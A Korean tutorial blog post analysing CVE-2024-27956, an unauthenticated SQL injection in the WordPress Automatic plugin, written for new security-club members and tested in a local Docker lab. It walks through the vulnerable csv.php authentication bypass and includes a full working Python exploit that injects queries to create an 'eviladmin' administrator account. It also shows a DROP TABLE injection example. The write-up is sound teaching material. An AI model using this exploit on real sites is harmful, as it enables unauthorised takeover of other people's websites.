지원서 뜯어보기 [상]

들어가며

이번 32기 지원서는 상중하 주제 중에 하나를 선택해서 공부한대로 적는 라이트업 문제가 있었다.

상 문제만 유일하게 CVE 분석이다. 주제가 어려웠는지 아무도 상 문제를 적진 않았지만(…) SWING 들어와서 공부하면 그만이다. 입학 시절로 돌아가 취약점 분석에 대한 0부터 적어보자. 목표는 신규 학회원들이 이 글만 읽어도 다 이해할 수 있는 것이다.


CVE란?

CVE는 Common Vulnerabilities and Exposure의 약자로, MITRE에서 관리하는 공개된 보안 취약점의 고유 ID이다. CVE-0000-0000 형식으로 연도와 임의 번호를 넣어 발급된다. 고유 ID를 발급함으로써 어떤 프로그램에 어떤 취약점인지 식별 가능하다.


CVE-2024-27956

cve.org 홈페이지를 들어가서 CVE 코드를 검색하면 다음과 같다.

title에는 어떤 프로그램의(버전 포함) 어떤 취약점인지 적혀있다. Description에는 이 취약점에 대해 간단한 설명이 담겨있고 영향을 받는 버전도 작성되어 있다. CWE, CVSS 항목도 기재되어 있다. CWE는 Common Weakness Enumeration의 약자이다. CVE와 혼동할 수 있는데, CVE는 고유 ID이고, CWE는 취약점 유형을 분류한 시스템이라고 생각하면 편하다. CVSS는 취약점의 심각도를 평가하는 점수이다. CVSS 점수가 클 수록 보안 위협이 크다는 것을 의미한다.

CVE 개요

CVE-2024-27956의 개요는 다음과 같다.

제목 WordPress plugin인 Automatic에서 인증되지 않은 사용자가 실행할 수 있는 SQL injection
타겟 WordPress Automatic Plugin 3.92.0 이하

wordpress?

웹사이트를 구현할 수 있는 CMS(Contents Management System) 프로그램이다. 다양한 플러그인을 제공하여 사용자가 사이트를 쉽게 만들 수 있다는 장점이 있다.
실제로 W3Techs에서 조사한 결과로는 WordPress가 CMS 서비스에서 43.5%의 점유율을 확보하고 있다. 업계 내에서 많은 파이를 차지하고 있기에 해당 취약점이 그만큼 영향력도 크다는 것을 예상할 수 있다.
오늘 살펴볼 취약점은 위 WordPress가 제공하는 플러그인 중에서 Automatic에서 일어난다.

sql injection?

타겟에 대해 살펴보았다면, SQL injection이 무엇인지도 알아야 한다. SQL injection은 사용자가 입력할 수 있는 웹 애플리케이션에 악성 SQL 코드를 끼워서 공격하는 취약점이다.
RDBMS는 관계형 데이터 베이스를 관리하는 시스템을 말하는데, SQL은 이 시스템을 위한 특수 언어이다. 악성 SQL 코드를 끼우면 데이터베이스 정보 유출/특수 권한이 있는 계정 로그인 등등의 공격을 할 수 있다.
아래의 SQL문이 있고 pw에 넣어지는 값을 검사하는 로직이 없는 경우를 예로 들어보자.

1
SELECT id FROM ex_table WHERE id='guest' and pw=''

이때 pw에 넣는 입력을 '; DROP TABLE ex_table;-- 로 넣어보면 아래와 같다.

1
SELECT id FROM ex_table WHERE id='guest' and pw=''; DROP TABLE ex_table;-- ' 

이러면 세미콜론에 의해 앞줄 명령이 끝나고 DROP을 이용해서 ex_table의 데이터를 모두 삭제처리할 수 있다. 이후 구문이 있더라도 -- 는(띄어쓰기 포함) SQL의 주석처리 문법이기에 실행되지 않는다.

코드 분석

그럼 본격적으로 WordPress 플러그인 Automatic에서 SQL injection이 어떻게 일어나는지 확인해보자. 취약한 부분은 wp-automatic/inc/csv.php이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
require_once('../../../../wp-load.php');
global $wpdb;

global $current_user;
wp_get_current_user();

// echo user_login . "'s email address is: " $current_user->user_pass;

//get admin pass for integrity check

// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);

if(wp_automatic_trim($auth == '')){

echo 'login required';
exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}


$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");

echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){

$action=$row->action;
if (stristr($action , 'New Comment Posted on :')){
$action = 'Posted Comment';
}elseif(stristr($action , 'approved')){
$action = 'Approved Comment';
}

//format date
$date=date('Y-n-j H:i:s',strtotime ($row->date));

$data=$row->data;
$keyword='';
//filter the data strip keyword
if(stristr($data,';')){
$datas=explode(';',$row->data);
$data=$datas[0];
$keyword=$datas[1];
}
echo "$date,$action,$data,$keyword \n";

}

// echo "record1,$q,record3\n";

?>

위 코드에서 POST 요청으로 q, auth, integ 값을 받는다. 그리고 if문을 통해 authinteg를 검사한다. if 조건문 안에 있는 wp_automatic_trim 함수는 무엇일까?

1
2
3
4
5
6
7
8
function wp_automatic_trim($str)
{
if (is_null($str)) {
return '';
} else {
return trim($str);
}
}

trim을 이용하여 공백을 제거하는 함수이다.

1
2
3
4
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}

첫 if문이다. 조건이 조금 당황스러울 수 있는데 다음과 같이 이해하면 편하다.
가) $auth =='' 빈 문자열인지 체크
나) true는 문자열 “1”로 치환, false는 “”로 치환 (타입 캐스팅)
다) 빈 문자열이면 $auth == ''가 true 되므로 조건문 참 -> login required
라) 빈 문자열이 아니면 $auth == ''가 false되므로 if(‘’) 조건문 거짓 -> login required 우회
이부분은 공백이 있는 문자열을 삽입하면 우회가 가능하다. ‘’와 ‘ ‘는 다르기 때문이다.

1
2
3
4
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}

current_user->user_pass는 인증되지 않은 user라면 빈 문자열일 것이다. authwp_automatic_trim에 의해 빈 문자열이 되기 때문에 두 값은 같다. 때문에 invalid login은 우회가 가능하다.

1
2
3
4
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}

세번째 if문이다. current_user->user_pass는 빈 문자열이기 때문에 q의 md5값과 integ값만 같게 설정해주면 된다.

1
$rows=$wpdb->get_results( $q);

이후에 위 코드로 인해 q가 실행된다.

Exploit

Exploit은 diego-tella 깃허브를 참고하여 실습으로 진행해보자. 먼저 타겟의 취약한 버전을 깔아줘야 한다. 나는 Docker를 이용하여 WordPress를 깔고 취약한 버전 automatic.zip 파일을 설치했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
version: '3.1'

services:

wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
volumes:
- wordpress:/var/www/html

db:
image: mysql:8.0
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:

위와 같이 WordPress와 MYSQL을 설정하여 yml 파일로 만들고 아래 명령어로 빌드해주면 된다.

1
docker-compose cveWordPress.yml up

이후에 localhost:8080에 접속해서 아래와 같은 WordPress 설치 화면이 뜨면 알맞게 빌드된 것이다.

설치를 마쳤으니 실습을 실행하기 전 exploit.py 코드를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import sys


def makeRequest(payload, hash, url):
host = url.split('/', 3)[2]

headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

data = {
'q': payload,
'auth': b'\0',
'integ': hash
}

response = requests.post(url, data=data, headers=headers)
return response


def helpUsage():
print("[+] You must run the expoit passing the wordpress URL. \n[+] Example: python exploit.py http://website.com")
quit()

def verifyArgs(argv):
if len(sys.argv) != 2:
helpUsage()

verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain+'/wp-content/plugins/wp-automatic/inc/csv.php'

#first request (create user)
print("[+] Creating user eviladmin")
response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8080', '2025-04-05 17:31:03', 0, 'eviladmin')", "09956ea086b172d6cf8ac31de406c4c0", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

if "DATE" not in response.text:
print("[+] Not vulnerable")
quit()

#second request (give permission)
print("[+] Giving eviladmin administrator permissions")
makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')", "bd98494b41544b818fa9f583dadfa2bb", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

print("[+] Exploit completed!")
print("[+] administrator created: eviladmin:admin")

exploit.py 전체 코드이다. diego-tella 깃허브에서 가져왔다(아래 참고문헌에 url 존재)
코드를 부분부분 뜯어서 자세히 살펴보자.

1
2
3
4
verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain+'/wp-content/plugins/wp-automatic/inc/csv.php'

먼저 취약한 위치로 url을 설정한다. domain은 argv[1]으로 설정되어 있는데 실행할 때 넣어주는 인자값을 말한다. Usage가 python exploit.py ‘http://website.com'라고 하면 여기서 argv[1]은 ‘http://website.com'이다.

1
2
3
4
5
6
#first request (create user)
print("[+] Creating user eviladmin")
response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8080', '2025-04-05 17:31:03', 0, 'eviladmin')", "09956ea086b172d6cf8ac31de406c4c0", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

첫번째 Request이다. user를 추가하는 SQL injection을 넣어서 보낸다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def makeRequest(payload, hash, url):
host = url.split('/', 3)[2]

headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
data = {
'q': payload,
'auth': b'\0',
'integ': hash
}

response = requests.post(url, data=data, headers=headers)
return response

위 makeRequest 함수를 이용해서 보내면 되는데 header들이 맞춰져 있고 data는 앞에서 설명했다시피 q에는 페이로드, auth는 공백, integ는 hash값이다.

1
2
3
4
5
6
#second request (give permission)
print("[+] Giving eviladmin administrator permissions")
makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (
(SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities',
'a:1:{s:13:\"administrator\";s:1:\"1\";}'
)", "bd98494b41544b818fa9f583dadfa2bb", url)

두번째 페이로드는 첫번째 페이로드로 생성한 eviladmin 계정에 admin 권한을 준다. 값들이 잘 보였으면 해서 VALUES 값들을 줄바꿈하였다. wp_user에 있는 eviladmin의 ID를 가져와서 wp_usermeta에 값을 추가하는 SQL 구문이다. 이때 meta_key, meta_value는 각각 wp_capabilities, a:1:{s:13:"administrator";s:1:"1";}이다. 이는 WordPress의 admin 권한을 주는 키-값이다.

1
python exploit.py http://localhost:8080

프롬프트에서 실행해주면 된다.
이제 docker에서 ID: eviladmin, PW: admin으로 로그인이 될 것이다.

admin 권한을 받았는지도 확인해보자.

위와 같이 eviladmin이 관리자 권한으로 설정되어 있는 것을 확인할 수 있다.

마치며

보통 취약점 1-day 분석을 한다고 하면 PoC, Exploit, Patch를 공부한다. Patch는 SW적으로 어떻게 취약점을 방어하는지 공부하기 위함인데 이번 취약점은 inc/csv.php를 제거함으로써 패치하여 추가적인 목차를 만들진 않았다.
신입 학회원에게 많은 도움이 되었으면 해서 최대한 자세하게 템포 느리게 적다보니 초고 완성까지 오래 걸린 거 같다(그렇게 오래 걸릴 내용은 아닌 거 같은데..)
다음 글은 뭘 적을지 고민해봐야겠다.


참고 문헌

보안뉴스. (2015, 6월 16). 국내 보안 위협 동향과 대응 방안. https://www.boannews.com/media/view.asp?idx=47656

이글루코퍼레이션. (n.d.). WordPress Plug-in에 따른 SQL Injection 분석 및 대응 방안 (CVE-2022-3689, CVE-2023-6360). https://www.igloo.co.kr/security-information/wordpress-plug-in%EC%97%90-%EB%94%B0%EB%A5%B8-sql-injection-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-cve-2022-3689-cve-2023-6360/

W3Techs. (n.d.). Usage statistics and market share of WordPress for websites. https://w3techs.com/

위키백과. (n.d.). SQL. https://ko.wikipedia.org/wiki/SQL

truonghuuphuc. (2024). CVE-2024-27956. GitHub. https://github.com/truonghuuphuc/CVE-2024-27956/tree/main

하온 블로그. (n.d.). SQL Injection이란? 원리, 예시와 방어 방법. https://haon.blog/haon/server/sql-injection/

Patchstack. (2024, March 20). Critical vulnerabilities patched in WordPress Automatic Plugin. https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin?_s_id=cve

diego-tella. (2024). CVE-2024-27956-RCE. GitHub. https://github.com/diego-tella/CVE-2024-27956-RCE

DreamHost. (n.d.). A Guide to WordPress User Roles and Permissions. https://www.dreamhost.com/blog/wordpress-user-roles/